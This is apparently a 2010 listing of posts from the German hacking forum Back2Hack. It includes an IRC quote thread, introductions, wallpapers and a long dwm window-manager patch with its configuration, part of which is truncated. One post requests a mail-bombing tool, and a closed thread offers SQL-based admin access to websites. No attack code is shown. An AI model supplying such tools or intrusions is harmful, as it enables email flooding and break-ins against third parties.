Back2Hack.cc - Alle Foren

IRC-Zitate

Fri, 30 Jul 2010 23:44:36 +0200

Hallo ich bin Monty, der IRC-Bot von 0x1cedd1ce.
In diesem Thread möchte ich die Zitate aus unserem IRC-Channel sammeln.
Neue Zitate kann man mit:

Code:

!Zitat   Kommentar

erstellen.
Wobei Anfang und ende zahlen sind, die angeben wie weit ich im Log zurückgehen muss um Anfang und Ende des Zitates zu finden

test

Fri, 30 Jul 2010 10:40:26 +0200

trial & error :)

weis jemand wie die post-daten bei MyBB für ein neuen post aussehen. Also was man mit seinem Text machen muss wenn man ihn in einem Thread posten möchte

testtest

test2

fürs protokoll

Fri, 30 Jul 2010 10:25:07 +0200

ich bin auch hier

Hallo liebe Leute

Thu, 29 Jul 2010 13:29:09 +0200

Hallo liebes Back2Hack Team,
mein Name ist PariBac und bin durch Zufall auf dieses Forum gestoßen.
Eigentlich bin ich auf dem Gebiet der Computersicherheit ein Neuling.
Jedoch hoffe ich, dass ich hier viel lernen kann. :-D
Neben meinem Abitur beschäftigen ich mich zurzeit mit HTML, php und ein wenig Delphi und später wollte ich es mit Perl versuchen ;-)

In diesem Sinne viele liebe Grüße

euer PariBac

Back2Hack Veränderungen & Wünsche

Thu, 29 Jul 2010 02:07:44 +0200

Hallo,

Wir haben im Team diverse Änderungen in der Zukunft von Back2Hack besprochen. Auf diese werde ich jetzt nicht eingehen, dazu wird später ein Statement folgen.

Wir wollen aber gern noch wissen, was ihr euch wünscht.

Deswegen wäre es schön wenn ihr hier Wünsche , Vorschläge und sonstiges posten würdet.

Generell geht es darum aus back2hack, back2hack++ zu machen :P , sprich es zu verbessern.

Postet mal fleißig, gunner

Suche Mailbomber

Wed, 28 Jul 2010 14:22:30 +0200

Suche einen einfachen Mailbomber.

Admin zugang! Any Site with Sql!

Wed, 28 Jul 2010 09:34:00 +0200

Closed!

Shoutbox iss wech

Wed, 28 Jul 2010 05:06:25 +0200

Ja wo isse denn? Wollte gerade meinen guten morgen wakka eingeben und stellte somit fest: Sie ist weg!

[GFX]Wallpaper

Tue, 27 Jul 2010 16:53:58 +0200

Hey Leuts,
Von mir gibts auch nochmal ein Wallpaper...
Ist aber nichts besonderes. Ich habe es sehr schlicht gehalten.
http://img708.imageshack.us/img708/9059/back2hack.jpg

Und da habe ich noch ein Wallpaper auf der Festplatte gefunden welches ich früher mal gemacht habe.
http://img638.imageshack.us/img638/147/w...rworld.jpg

DWM for tha win!

Tue, 27 Jul 2010 14:37:11 +0200

Ich möchte euren Geist mit diesem genial Patch erleuchten:

dwm.c patch
== Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focusonclick ==

Code:

diff -r 170beedf6847 -r 952b146c1cdd dwm.c

--- a/dwm.c    Tue Jul 27 14:27:21 2010 +0200

+++ b/dwm.c    Tue Jul 27 14:28:13 2010 +0200

@@ -19,6 +19,8 @@

  * Keys and tagging rules are organized as arrays and defined in config.h.

  *

  * To understand everything else, start reading main().

+ *

+ * == Patched with bstack, cycle, push, init layouts/pertag, useless gaps, statuscolor and focusonclick ==

  */

 #include 

 #include 

@@ -48,6 +50,7 @@

 #define LENGTH(X)               (sizeof X / sizeof X[0])

 #define MAX(A, B)               ((A) > (B) ? (A) : (B))

 #define MIN(A, B)               ((A) < (B) ? (A) : (B))

+#define MAXCOLORS               8

 #define MOUSEMASK               (BUTTONMASK|PointerMotionMask)

 #define WIDTH(X)                ((X)->w + 2 * (X)->bw)

 #define HEIGHT(X)               ((X)->h + 2 * (X)->bw)

@@ -97,8 +100,7 @@

 typedef struct {

     int x, y, w, h;

-    unsigned long norm[ColLast];

-    unsigned long sel[ColLast];

+    unsigned long colors[MAXCOLORS][ColLast];

     Drawable drawable;

     GC gc;

     struct {

@@ -122,26 +124,6 @@

     void (*arrange)(Monitor *);

 } Layout;

-struct Monitor {

-    char ltsymbol[16];

-    float mfact;

-    int num;

-    int by;               /* bar geometry */

-    int mx, my, mw, mh;   /* screen size */

-    int wx, wy, ww, wh;   /* window area  */

-    unsigned int seltags;

-    unsigned int sellt;

-    unsigned int tagset[2];

-    Bool showbar;

-    Bool topbar;

-    Client *clients;

-    Client *sel;

-    Client *stack;

-    Monitor *next;

-    Window barwin;

-    const Layout *lt[2];

-};

-

 typedef struct {

     const char *class;

     const char *instance;

@@ -158,6 +140,7 @@

 static void arrangemon(Monitor *m);

 static void attach(Client *c);

 static void attachstack(Client *c);

+static void bstack(Monitor *m);

 static void buttonpress(XEvent *e);

 static void checkotherwm(void);

 static void cleanup(void);

@@ -175,8 +158,9 @@

 static Monitor *dirtomon(int dir);

 static void drawbar(Monitor *m);

 static void drawbars(void);

-static void drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast]);

-static void drawtext(const char *text, unsigned long col[ColLast], Bool invert);

+static void drawcoloredtext(char *text);

+static void drawsquare(Bool filled, Bool empty, unsigned long col[ColLast]);

+static void drawtext(const char *text, unsigned long col[ColLast], Bool pad);

 static void enternotify(XEvent *e);

 static void expose(XEvent *e);

 static void focus(Client *c);

@@ -201,9 +185,13 @@

 static Client *nexttiled(Client *c);

 static Monitor *ptrtomon(int x, int y);

 static void propertynotify(XEvent *e);

+static Client *prevtiled(Client *c);

+static void pushup(const Arg *arg);

+static void pushdown(const Arg *arg);

 static void quit(const Arg *arg);

 static void resize(Client *c, int x, int y, int w, int h, Bool interact);

 static void resizeclient(Client *c, int x, int y, int w, int h);

+static void resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact);

 static void resizemouse(const Arg *arg);

 static void restack(Monitor *m);

 static void run(void);

@@ -213,6 +201,9 @@

 static void setlayout(const Arg *arg);

 static void setmfact(const Arg *arg);

 static void setup(void);

+static int shifttag(int dist);

+static void cycle(const Arg *arg);

+static void tagcycle(const Arg *arg);

 static void showhide(Client *c);

 static void sigchld(int unused);

 static void spawn(const Arg *arg);

@@ -278,6 +269,31 @@

 /* configuration, allows nested code to access above variables */

 #include "config.h"

+struct Monitor {

+    char ltsymbol[16];

+    float mfact;

+    int num;

+    int by;               /* bar geometry */

+    int mx, my, mw, mh;   /* screen size */

+    int wx, wy, ww, wh;   /* window area  */

+    unsigned int seltags;

+    unsigned int sellt;

+    unsigned int tagset[2];

+    Bool showbar;

+    Bool topbar;

+    Client *clients;

+    Client *sel;

+    Client *stack;

+    Monitor *next;

+    Window barwin;

+    const Layout *lt[2];

+    int curtag;

+    int prevtag;

+    const Layout *lts[LENGTH(tags) + 1];

+    double mfacts[LENGTH(tags) + 1];

+    Bool showbars[LENGTH(tags) + 1];

+};

+

 /* compile-time check if all tags fit into an unsigned int bit array. */

 struct NumTags { char limitexceeded[LENGTH(tags) > 31 ? -1 : 1]; };

@@ -418,6 +434,36 @@

 }

 void

+bstack(Monitor *m) {

+    int x, y, h, w, mh;

+    unsigned int i, n;

+    Client *c;

+

+    for(n = 0, c = nexttiled(m->clients); c; c = nexttiled(c->next), n++);

+    if(n == 0)

+        return;

+    /* master */

+    c = nexttiled(m->clients);

+    mh = m->mfact * m->wh;

+    resize(c, m->wx, m->wy, m->ww - 2 * c->bw, (n == 1 ? m->wh : mh) - 2 * c->bw, False);

+    if(--n == 0)

+        return;

+    /* tile stack */

+    x = m->wx;

+    y = (m->wy + mh > c->y + c->h) ? c->y + c->h + 2 * c->bw : m->wy + mh;

+    w = m->ww / n;

+    h = (m->wy + mh > c->y + c->h) ? m->wy + m->wh - y : m->wh - mh;

+    if(w < bh)

+        w = m->ww;

+    for(i = 0, c = nexttiled(c->next); c; c = nexttiled(c->next), i++) {

+        resize(c, x, y, /* remainder */ ((i + 1 == n)

+               ? m->wx + m->ww - x - 2 * c->bw : w - 2 * c->bw), h - 2 * c->bw, False);

+        if(w != m->ww)

+            x = c->x + WIDTH(c);

+    }

+}

+

+void

 buttonpress(XEvent *e) {

     unsigned int i, x, click;

     Arg arg = {0};

@@ -618,9 +664,9 @@

     m->mfact = mfact;

     m->showbar = showbar;

     m->topbar = topbar;

-    m->lt[0] = &layouts[0];

+        m->lt[0] = &layouts[initlayouts[1]] && initlayouts[1] <  LENGTH(layouts) ? &layouts[initlayouts[1]] : &layouts[0];

     m->lt[1] = &layouts[1 % LENGTH(layouts)];

-    strncpy(m->ltsymbol, layouts[0].symbol, sizeof m->ltsymbol);

+        strncpy(m->ltsymbol, initlayouts[1] && initlayouts[1] < LENGTH(layouts) ? layouts[initlayouts[1]].symbol : layouts[0].symbol, sizeof m->ltsymbol);

     return m;

 }

@@ -696,14 +742,13 @@

     dc.x = 0;

     for(i = 0; i < LENGTH(tags); i++) {

         dc.w = TEXTW(tags[i]);

-        col = m->tagset[m->seltags] & 1 << i ? dc.sel : dc.norm;

-        drawtext(tags[i], col, urg & 1 << i);

-        drawsquare(m == selmon && selmon->sel && selmon->sel->tags & 1 << i,

-                   occ & 1 << i, urg & 1 << i, col);

+        col = dc.colors[ (m->tagset[m->seltags] & 1 << i ? 1:(urg & 1 << i ? 2:0))];

+        drawtext(tags[i], col, True);

+        drawsquare(m == selmon && selmon->sel && selmon->sel->tags & 1 << i, occ & 1 << i, col);

         dc.x += dc.w;

     }

     dc.w = blw = TEXTW(m->ltsymbol);

-    drawtext(m->ltsymbol, dc.norm, False);

+    drawtext(m->ltsymbol, dc.colors[0], True);

     dc.x += dc.w;

     x = dc.x;

     if(m == selmon) { /* status is only drawn on selected monitor */

@@ -713,19 +758,19 @@

             dc.x = x;

             dc.w = m->ww - x;

         }

-        drawtext(stext, dc.norm, False);

+        drawcoloredtext(stext);

     }

     else

         dc.x = m->ww;

     if((dc.w = dc.x - x) > bh) {

         dc.x = x;

         if(m->sel) {

-            col = m == selmon ? dc.sel : dc.norm;

-            drawtext(m->sel->name, col, False);

-            drawsquare(m->sel->isfixed, m->sel->isfloating, False, col);

+            col = m == selmon ? dc.colors[1] : dc.colors[0];

+            drawtext(m->sel->name, col, True);

+            drawsquare(m->sel->isfixed, m->sel->isfloating, col);

         }

         else

-            drawtext(NULL, dc.norm, False);

+            drawtext(NULL, dc.colors[0], False);

     }

     XCopyArea(dpy, dc.drawable, m->barwin, dc.gc, 0, 0, m->ww, bh, 0, 0);

     XSync(dpy, False);

@@ -739,13 +784,42 @@

         drawbar(m);

 }

+void drawcoloredtext(char *text) {

+    Bool first=True;

+    char *buf = text, *ptr = buf, c = 1;

+    unsigned long *col = dc.colors[0];

+    int i, ox = dc.x;

+

+    while( *ptr ) {

+        for( i=0; *ptr < 0 || *ptr > NUMCOLORS; i++, ptr++);

+        if( !*ptr ) break;

+        c=*ptr;

+        *ptr=0;

+        if( i ) {

+            dc.w = selmon->ww - dc.x;

+            drawtext(buf, col, first);

+            dc.x += textnw(buf, i) + textnw(&c,1);

+            if( first ) dc.x += ( dc.font.ascent + dc.font.descent ) / 2;

+            first = False;

+        } else if( first ) {

+            ox = dc.x += textnw(&c,1);

+        }

+        *ptr = c;

+        col = dc.colors[ c-1 ];

+        buf = ++ptr;

+        }

+        if( !first ) dc.x-=(dc.font.ascent+dc.font.descent)/2;

+        drawtext(buf, col, True);

+        dc.x = ox;

+}

+

 void

-drawsquare(Bool filled, Bool empty, Bool invert, unsigned long col[ColLast]) {

+drawsquare(Bool filled, Bool empty, unsigned long col[ColLast]) {

     int x;

     XGCValues gcv;

     XRectangle r = { dc.x, dc.y, dc.w, dc.h };

-    gcv.foreground = col[invert ? ColBG : ColFG];

+    gcv.foreground = col[ ColFG ];

     XChangeGC(dpy, dc.gc, GCForeground, &gcv);

     x = (dc.font.ascent + dc.font.descent + 2) / 4;

     r.x = dc.x + 1;

@@ -761,18 +835,18 @@

 }

 void

-drawtext(const char *text, unsigned long col[ColLast], Bool invert) {

+drawtext(const char *text, unsigned long col[ColLast], Bool pad) {

     char buf[256];

     int i, x, y, h, len, olen;

     XRectangle r = { dc.x, dc.y, dc.w, dc.h };

-    XSetForeground(dpy, dc.gc, col[invert ? ColFG : ColBG]);

+    XSetForeground(dpy, dc.gc, col[ ColBG ]);

     XFillRectangles(dpy, dc.drawable, dc.gc, &r, 1);

     if(!text)

         return;

     olen = strlen(text);

-    h = dc.font.ascent + dc.font.descent;

-    y = dc.y + (dc.h / 2) - (h / 2) + dc.font.ascent;

+    h = pad ? (dc.font.ascent + dc.font.descent) : 0;

+    y = dc.y + ((dc.h + dc.font.ascent - dc.font.descent) / 2);

     x = dc.x + (h / 2);

     /* shorten text if necessary */

     for(len = MIN(olen, sizeof buf); len && textnw(text, len) > dc.w - h; len--);

@@ -781,7 +855,7 @@

     memcpy(buf, text, len);

     if(len < olen)

         for(i = len; i && i > len - 3; buf[--i] = '.');

-    XSetForeground(dpy, dc.gc, col[invert ? ColBG : ColFG]);

+    XSetForeground(dpy, dc.gc, col[ ColFG ]);

     if(dc.font.set)

         XmbDrawString(dpy, dc.drawable, dc.font.set, dc.gc, x, y, buf, len);

     else

@@ -796,14 +870,16 @@

     if((ev->mode != NotifyNormal || ev->detail == NotifyInferior) && ev->window != root)

         return;

-    if((m = wintomon(ev->window)) && m != selmon) {

-        unfocus(selmon->sel, True);

-        selmon = m;

+    if(!focusonclick) {

+        if((m = wintomon(ev->window)) && m != selmon) {

+            unfocus(selmon->sel, True);

+            selmon = m;

+        }

+        if((c = wintoclient(ev->window)))

+            focus(c);

+        else

+            focus(NULL);

     }

-    if((c = wintoclient(ev->window)))

-        focus(c);

-    else

-        focus(NULL);

 }

 void

@@ -830,7 +906,7 @@

         detachstack(c);

         attachstack(c);

         grabbuttons(c, True);

-        XSetWindowBorder(dpy, c->win, dc.sel[ColBorder]);

+        XSetWindowBorder(dpy, c->win, dc.colors[1][ColBorder]);

         XSetInputFocus(dpy, c->win, RevertToPointerRoot, CurrentTime);

     }

     else

@@ -1139,7 +1215,7 @@

     }

     wc.border_width = c->bw;

     XConfigureWindow(dpy, w, CWBorderWidth, &wc);

-    XSetWindowBorder(dpy, w, dc.norm[ColBorder]);

+    XSetWindowBorder(dpy, w, dc.colors[0][ColBorder]);

     configure(c); /* propagates border_width, if size doesn't change */

     updatesizehints(c);

     XSelectInput(dpy, w, EnterWindowMask|FocusChangeMask|PropertyChangeMask|StructureNotifyMask);

@@ -1189,7 +1265,7 @@

     if(n > 0) /* override layout symbol */

         snprintf(m->ltsymbol, sizeof m->ltsymbol, "[%d]", n);

     for(c = nexttiled(m->clients); c; c = nexttiled(c->next))

-        resize(c, m->wx, m->wy, m->ww - 2 * c->bw, m->wh - 2 * c->bw, False);

+        resize_orig_gapless(c, m->wx, m->wy, m->ww - 2 * c->bw, m->wh - 2 * c->bw, False);

 }

 void

@@ -1235,7 +1311,7 @@

                     togglefloating(NULL);

             }

             if(!selmon->lt[selmon->sellt]->arrange || c->isfloating)

-                resize(c, nx, ny, c->w, c->h, True);

+                resize_orig_gapless(c, nx, ny, c->w, c->h, True);

             break;

         }

     } while(ev.type != ButtonRelease);

@@ -1330,6 +1406,65 @@

     }

 }

+Client *

+prevtiled(Client *c) {

+    Client *p, *r;

+

+    for(p = selmon->clients, r = NULL; p && p != c; p = p->next)

+        if(!p->isfloating && ISVISIBLE(p))

+            r = p;

+    return r;

+}

+

+void

+pushup(const Arg *arg) {

+    Client *sel = selmon->sel;

+    Client *c;

+

+    if(!sel || sel->isfloating)

+        return;

+    if((c = prevtiled(sel))) {

+        /* attach before c */

+        detach(sel);

+        sel->next = c;

+        if(selmon->clients == c)

+            selmon->clients = sel;

+        else {

+            for(c = selmon->clients; c->next != sel->next; c = c->next);

+            c->next = sel;

+        }

+    } else {

+        /* move to the end */

+        for(c = sel; c->next; c = c->next);

+        detach(sel);

+        sel->next = NULL;

+        c->next = sel;

+    }

+    focus(sel);

+    arrange(selmon);

+}

+

+void

+pushdown(const Arg *arg) {

+    Client *sel = selmon->sel;

+    Client *c;

+

+    if(!sel || sel->isfloating)

+        return;

+    if((c = nexttiled(sel->next))) {

+        /* attach after c */

+        detach(sel);

+        sel->next = c->next;

+        c->next = sel;

+    } else {

+        /* move to the front */

+        detach(sel);

+        attach(sel);

+    }

+    focus(sel);

+    arrange(selmon);

+}

+

 void

 quit(const Arg *arg) {

     running = False;

@@ -1345,6 +1480,20 @@

 resizeclient(Client *c, int x, int y, int w, int h) {

     XWindowChanges wc;

+    c->oldx = c->x; c->x = wc.x = x + gappx;

+    c->oldy = c->y; c->y = wc.y = y + gappx;

+    c->oldw = c->w; c->w = wc.width = w - 2 * gappx;

+    c->oldh = c->h; c->h = wc.height = h - 2 * gappx;

+    wc.border_width = c->bw;

+    XConfigureWindow(dpy, c->win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &wc);

+    configure(c);

+    XSync(dpy, False);

+}

+

+void

+resize_orig_gapless(Client *c, int x, int y, int w, int h, Bool interact) {

+    XWindowChanges wc;

+

     c->oldx = c->x; c->x = wc.x = x;

     c->oldy = c->y; c->y = wc.y = y;

     c->oldw = c->w; c->w = wc.width = w;

@@ -1353,7 +1502,7 @@

     XConfigureWindow(dpy, c->win, CWX|CWY|CWWidth|CWHeight|CWBorderWidth, &wc);

     configure(c);

     XSync(dpy, False);

-}

+ }

 void

 resizemouse(const Arg *arg) {

@@ -1494,7 +1643,7 @@

     if(!arg || !arg->v || arg->v != selmon->lt[selmon->sellt])

         selmon->sellt ^= 1;

     if(arg && arg->v)

-        selmon->lt[selmon->sellt] = (Layout *)arg->v;

+        selmon->lt[selmon->sellt] = selmon->lts[selmon->curtag] = (Layout *)arg->v;

     strncpy(selmon->ltsymbol, selmon->lt[selmon->sellt]->symbol, sizeof selmon->ltsymbol);

     if(selmon->sel)

         arrange(selmon);

@@ -1512,13 +1661,15 @@

     f = arg->f < 1.0 ? arg->f + selmon->mfact : arg->f - 1.0;

     if(f < 0.1 || f > 0.9)

         return;

-    selmon->mfact = f;

+    selmon->mfact =  selmon->mfacts[selmon->curtag] = f;

     arrange(selmon);

 }

 void

 setup(void) {

     XSetWindowAttributes wa;

+        Monitor *m;

+        unsigned int i;

     /* clean up any zombies immediately */

     sigchld(0);

@@ -1544,18 +1695,37 @@

     cursor[CurResize] = XCreateFontCursor(dpy, XC_sizing);

     cursor[CurMove] = XCreateFontCursor(dpy, XC_fleur);

     /* init appearance */

-    dc.norm[ColBorder] = getcolor(normbordercolor);

-    dc.norm[ColBG] = getcolor(normbgcolor);

-    dc.norm[ColFG] = getcolor(normfgcolor);

-    dc.sel[ColBorder] = getcolor(selbordercolor);

-    dc.sel[ColBG] = getcolor(selbgcolor);

-    dc.sel[ColFG] = getcolor(selfgcolor);

+    for(int i=0; i
+        dc.colors[i][ColBorder] = getcolor( colors[i][ColBorder] );

+        dc.colors[i][ColFG] = getcolor( colors[i][ColFG] );

+        dc.colors[i][ColBG] = getcolor( colors[i][ColBG] );

+    }

     dc.drawable = XCreatePixmap(dpy, root, DisplayWidth(dpy, screen), bh, DefaultDepth(dpy, screen));

     dc.gc = XCreateGC(dpy, root, 0, NULL);

     XSetLineAttributes(dpy, dc.gc, 1, LineSolid, CapButt, JoinMiter);

     if(!dc.font.set)

         XSetFont(dpy, dc.gc, dc.font.xfont->fid);

-    /* init bars */

+        /* init tags */

+         for(m = mons; m; m = m->next)

+         m->curtag = m->prevtag = 1;

+        /* init mfacts */

+        for(m = mons; m; m = m->next) {

+        for(i=0; i < LENGTH(tags) + 1 ; i++) {

+            m->mfacts[i] = m->mfact;

+           }

+        }

+        /* init layouts */

+        for(m = mons; m; m = m->next) {

+        for(i=0; i < LENGTH(tags) + 1; i++) {

+            m->lts[i] = initlayouts[i] && initlayouts[i] < LENGTH(layouts) ? &layouts[initlayouts[i]] : &layouts[0];

+            }

+        }

+        /* init bars */

+        for(m = mons; m; m = m->next) {

+        for(i=0; i < LENGTH(tags) + 1; i++) {

+            m->showbars[i] = m->showbar;

+            }

+        }

     updatebars();

     updatestatus();

     /* EWMH support per view */

@@ -1571,6 +1741,42 @@

     grabkeys();

 }

+int

+shifttag(int dist)

+{

+    int i, curtags;

+    int seltag = 0;

+

+    curtags = selmon->tagset[selmon->seltags];

+    for(i = 0; i < LENGTH(tags); i++) {

+        if((curtags & (1 << i)) != 0) {

+            seltag = i;

+            break;

+        }

+    }

+

+    seltag = (seltag + dist) % LENGTH(tags);

+    if(seltag < 0)

+        seltag += LENGTH(tags);

+

+    return 1 << seltag;

+}

+

+void

+cycle(const Arg *arg)

+{

+    Arg a = { .i = shifttag(arg->i) };

+    view(&a);

+}

+

+void

+tagcycle(const Arg *arg)

+{

+    Arg a = { .i = shifttag(arg->i) };

+    tag(&a);

+    view(&a);

+}

+

 void

 showhide(Client *c) {

     if(!c)

@@ -1666,7 +1872,7 @@

 void

 togglebar(const Arg *arg) {

-    selmon->showbar = !selmon->showbar;

+        selmon->showbar = selmon->showbars[selmon->curtag] = !selmon->showbar;

     updatebarpos(selmon);

     XMoveResizeWindow(dpy, selmon->barwin, selmon->wx, selmon->by, selmon->ww, bh);

     arrange(selmon);

@@ -1686,12 +1892,27 @@

 void

 toggletag(const Arg *arg) {

     unsigned int newtags;

+        unsigned int i;

     if(!selmon->sel)

         return;

     newtags = selmon->sel->tags ^ (arg->ui & TAGMASK);

     if(newtags) {

         selmon->sel->tags = newtags;

+        if(newtags == ~0) {

+            selmon->prevtag = selmon->curtag;

+            selmon->curtag = 0;

+        }

+        if(!(newtags & 1 << (selmon->curtag - 1))) {

+            selmon->prevtag = selmon->curtag;

+            for (i=0; !(newtags & 1 << i); i++);

+            selmon->curtag = i + 1;

+        }

+        selmon->sel->tags = newtags;

+        selmon->lt[selmon->sellt] = selmon->lts[selmon->curtag];

+        selmon->mfact = selmon->mfacts[selmon->curtag];

+        if (selmon->showbar != selmon->showbars[selmon->curtag])

+            togglebar(NULL);

         arrange(selmon);

     }

 }

@@ -1711,7 +1932,7 @@

     if(!c)

         return;

     grabbuttons(c, False);

-    XSetWindowBorder(dpy, c->win, dc.norm[ColBorder]);

+    XSetWindowBorder(dpy, c->win, dc.colors[0][ColBorder]);

     if(setfocus)

         XSetInputFocus(dpy, root, RevertToPointerRoot, CurrentTime);

 }

@@ -1959,11 +2180,29 @@

 void

 view(const Arg *arg) {

+        unsigned int i;

+

     if((arg->ui & TAGMASK) == selmon->tagset[selmon->seltags])

         return;

     selmon->seltags ^= 1; /* toggle sel tagset */

-    if(arg->ui & TAGMASK)

+    if(arg->ui & TAGMASK) {

         selmon->tagset[selmon->seltags] = arg->ui & TAGMASK;

+        selmon->prevtag = selmon->curtag;

+        if(arg->ui == ~0)

+            selmon->curtag = 0;

+        else {

+            for (i=0; !(arg->ui & 1 << i); i++);

+            selmon->curtag = i + 1;

+        }

+    } else {

+        selmon->prevtag= selmon->curtag ^ selmon->prevtag;

+        selmon->curtag^= selmon->prevtag;

+        selmon->prevtag= selmon->curtag ^ selmon->prevtag;

+    }

+    selmon->lt[selmon->sellt]= selmon->lts[selmon->curtag];

+    selmon->mfact = selmon->mfacts[selmon->curtag];

+    if(selmon->showbar != selmon->showbars[selmon->curtag])

+        togglebar(NULL);

     arrange(selmon);

 }

config.h (kein patch)

Code:

/* See LICENSE file for copyright and license details. */

/* appearance */

static const char font[]            = "-*-terminus-medium-r-*-*-16-*-*-*-*-*-*-*";

static const char normbordercolor[] = "#d4d4d4";

static const char normbgcolor[]     = "#d4d4d4";

static const char normfgcolor[]     = "#000000";

static const char selbordercolor[]  = "#1751FF";

static const char selbgcolor[]      = "#5a5a5a";

static const char selfgcolor[]      = "#ffffff";

static const unsigned int borderpx  = 1;        /* border pixel of windows */

static const unsigned int snap      = 32;       /* snap pixel */

static const unsigned int gappx     = 0;        /* pixel gap between clients */

static const Bool showbar           = True;     /* False means no bar */

static const Bool topbar            = True;     /* False means bottom bar */

static const Bool focusonclick        = True;        /* change focus only on click */

#define NUMCOLORS         4

static const char colors[NUMCOLORS][ColLast][8] = {

  // border   foreground background

  { "#d4d4d4", "#000000", "#d4d4d4" },  // normal

  { "#1751FF", "#ffffff", "#5a5a5a" },  // selected

  { "#ff0000", "#000000", "#ffff00" },  // urgent/warning  (black on yellow)

  { "#ff0000", "#ffffff", "#ff0000" },  // error (white on red)

  // add more here

};

/* tagging */

static const char *tags[] = { "1:terminals", "2:code", "3:www", "4:IRC", "5:chat", "6:media", "7:office", "8" };

static const int initlayouts[]  = { 0, 0, 0, 0, 0, 1, 0, 1 };

static const Rule rules[] = {

    /* class                 instance       title        tags mask   isfloating  monitor */

    { "Namoroka",            NULL,       NULL,        1 << 2,     False,      -1 }, /* Firefox */

    { "OpenOffice.org 3.2", NULL,        NULL,        1 << 6,       False,        -1 },

    { "Mplayer",            NULL,        NULL,        1 << 5,        True,        -1 },

    { "URxvt",              NULL,        "irssi",    1 << 3,        False,        -1 },

    { "URxvt",              NULL,       "pms",      1 << 5,     False,      -1 },

    { "Eclipse",            NULL,        NULL,        1 << 1,     False,        -1 },

    { "Lanikai",            NULL,       NULL,       1 << 4,     False,      -1 }, /* Thunderbird */

    { "VirtualBox",         NULL,       NULL,       1 << 7,     True,       -1 },

    { "Pidgin",             NULL,       NULL,       1 << 4,     False,      -1 },

    { "Wine",               NULL,       NULL,       1 << 7,     True,       -1 },

    { "Xpdf",               NULL,       NULL,       1 << 6,     False,      -1 },

};

/* layout(s) */

static const float mfact      = 0.60; /* factor of master area size [0.05..0.95] */

static const Bool resizehints = False; /* True means respect size hints in tiled resizals */

/* additional layouts */

/*#include "bstack.c"

#include "bstackhoriz.c"

#include "push.c"

#include "gaplessgrid.c"

#include "cycle.c"*/

static const Layout layouts[] = {

    /* symbol     arrange function */

    { "TTT",      bstack },    /* first entry is default */

    { "[]=",      tile },

    { "><>",      NULL },    /* no layout function means floating behavior */

    { "[M]",      monocle },

/*    { "===",      bstackhoriz },

    { "###",      gaplessgrid },*/

};

/* key definitions */

#define MODKEY Mod1Mask

#define TAGKEYS(KEY,TAG) \n    { MODKEY,                       KEY,      view,           {.ui = 1 << TAG} }, \n    { MODKEY|ControlMask,           KEY,      toggleview,     {.ui = 1 << TAG} }, \n    { MODKEY|ShiftMask,             KEY,      tag,            {.ui = 1 << TAG} }, \n    { MODKEY|ControlMask|ShiftMask, KEY,      toggletag,      {.ui = 1 << TAG} },

/* helper for spawning shell commands in the pre dwm-5.0 fashion */

#define SHCMD(cmd) { .v = (const char*[]){ "/bin/sh", "-c", cmd, NULL } }

/* commands */

static const char *dmenucmd[] = { "dmenu_run", "-fn", font, "-nb", normbgcolor, "-nf", normfgcolor, "-sb", selbgcolor, "-sf", selfgcolor, NULL };

static const char *termcmd[]  = { "urxvt", NULL };

static const char *browsercmd[] = { "firefox", NULL };

static const char *writercmd[] = { "soffice", "-writer", NULL };

static const char *irccmd[] =  { "python", "/home/dav1d/scripts/startirssi.py", NULL };

static const char *mailcmd[] = { "thunderbird", NULL };

static const char *idecmd[] = { "eclipse", NULL };

static const char *vboxcmd[] = { "VirtualBox", NULL };

static const char *imcmd[] = { "pidgin", NULL };

static const char *pycrust[] = { "pycrust", NULL };

static const char *pmscmd[] = { "urxvt", "-title", "pms", "-e", "pms", NULL };

static const char *killx[] = { "killall", "X", "&", "killall", "dwm" };

static Key keys[] = {

    /* modifier                     key         function         argument */

    { MODKEY,                       XK_p,       spawn,          {.v = dmenucmd } },

    { MODKEY|ShiftMask,             XK_Return , spawn,          {.v = termcmd } },

    { MODKEY|ShiftMask,                XK_f,        spawn,            {.v = browsercmd } },

    { MODKEY|ShiftMask,                XK_w,        spawn,             {.v = writercmd } },

    { MODKEY|ShiftMask,                XK_i,        spawn,           {.v = irccmd } },

    { MODKEY|ShiftMask,             XK_t,       spawn,          {.v = mailcmd } },

    { MODKEY|ShiftMask,             XK_e,       spawn,          {.v = idecmd } },

    { MODKEY|ShiftMask,             XK_v,       spawn,          {.v = vboxcmd } },

    { MODKEY|ShiftMask,             XK_p,       spawn,          {.v = imcmd } },

    { MODKEY|ShiftMask,             XK_y,       spawn,          {.v = pycrust } },

    { MODKEY|ShiftMask,             XK_m,       spawn,          {.v = pmscmd } },

    { MODKEY|ShiftMask,             XK_k,       spawn,          {.v = killx } },

    { MODKEY,                       XK_b,       togglebar,      {0} },

    { MODKEY,                       XK_j,       focusstack,     {.i = +1 } },

    { MODKEY,                       XK_k,       focusstack,     {.i = -1 } },

    { MODKEY,                       XK_h,       setmfact,       {.f = -0.05} },

    { MODKEY,                       XK_l,       setmfact,       {.f = +0.05} },

    { MODKEY,                       XK_plus,    pushup,         {0} },

    { MODKEY,                       XK_sterling,pushdown,       {0} },

    { MODKEY,                       XK_Return,  zoom,           {0} },

    { MODKEY,                       XK_Tab,     view,           {0} },

    { MODKEY|ShiftMask,             XK_c,       killclient,     {0} },

    { MODKEY,                        XK_s,        setlayout,        {.v = &layouts[0]} },

    { MODKEY,                       XK_t,       setlayout,      {.v = &layouts[1]} },

    { MODKEY,                       XK_f,       setlayout,      {.v = &layouts[2]} },

    { MODKEY,                       XK_space,   setlayout,      {0} },

    { MODKEY|ShiftMask,             XK_space,   togglefloating, {0} },

    { MODKEY,                       XK_0,       view,           {.ui = ~0 } },

    { MODKEY|ShiftMask,             XK_0,       tag,            {.ui = ~0 } },

    { MODKEY,                       XK_comma,   focusmon,       {.i = -1 } },

    { MODKEY,                       XK_period,  focusmon,       {.i = +1 } },

    { MODKEY|ShiftMask,             XK_comma,   tagmon,         {.i = -1 } },

    { MODKEY|ShiftMask,             XK_period,  tagmon,         {.i = +1 } },

    { MODKEY,                       XK_Left,    cycle,          {.i = -1 } },

    { MODKEY,                       XK_Right,   cycle,          {.i = +1 } },

    { MODKEY,                       XK_Up,      tagcycle,       {.i = -1 } },

    { MODKEY,                       XK_Down,    tagcycle,       {.i = +1 } },

    TAGKEYS(                        XK_1,                       0)

    TAGKEYS(                        XK_2,                       1)

    TAGKEYS(                        XK_3,                       2)

